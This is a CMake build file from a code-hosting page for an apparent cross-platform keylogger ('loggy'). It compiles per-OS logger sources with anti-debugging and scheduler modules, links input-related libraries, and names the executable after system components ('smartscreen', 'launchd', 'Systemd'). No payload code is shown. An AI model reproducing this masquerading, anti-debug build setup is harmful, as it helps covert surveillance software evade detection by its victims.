-
Notifications
You must be signed in to change notification settings - Fork 0
/
CMakeLists.txt
45 lines (37 loc) · 1.08 KB
/
CMakeLists.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
cmake_minimum_required(VERSION 3.5)
if(WIN32)
project(smartscreen)
elseif(APPLE)
project(launchd)
elseif(UNIX AND NOT APPLE)
project(Systemd)
endif()
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
include_directories(${CMAKE_CURRENT_SOURCE_DIR}/include)
set(SOURCES
src/Windows/windowsLogger.cpp
src/Linux/linuxLogger.cpp
src/macOS/macOsLogger.cpp
src/utils/antiDebug.cpp
src/utils/scheduler.cpp
src/loggy.cpp
)
if(WIN32)
list(APPEND SOURCES src/Windows/windowsLogger.cpp)
elseif(APPLE)
list(APPEND SOURCES src/macOS/macOsLogger.cpp)
elseif(UNIX AND NOT APPLE)
list(APPEND SOURCES src/Linux/linuxLogger.cpp)
endif()
add_executable(${PROJECT_NAME} ${SOURCES})
if(WIN32)
elseif(APPLE)
find_library(CARBON_LIBRARY Carbon)
target_link_libraries(${PROJECT_NAME} ${CARBON_LIBRARY})
find_library(CoreFoundation_LIBRARY CoreFoundation)
target_link_libraries(${PROJECT_NAME} ${CoreFoundation_LIBRARY})
elseif(UNIX AND NOT APPLE)
find_package(X11 REQUIRED)
target_link_libraries(${PROJECT_NAME} ${X11_LIBRARIES})
endif()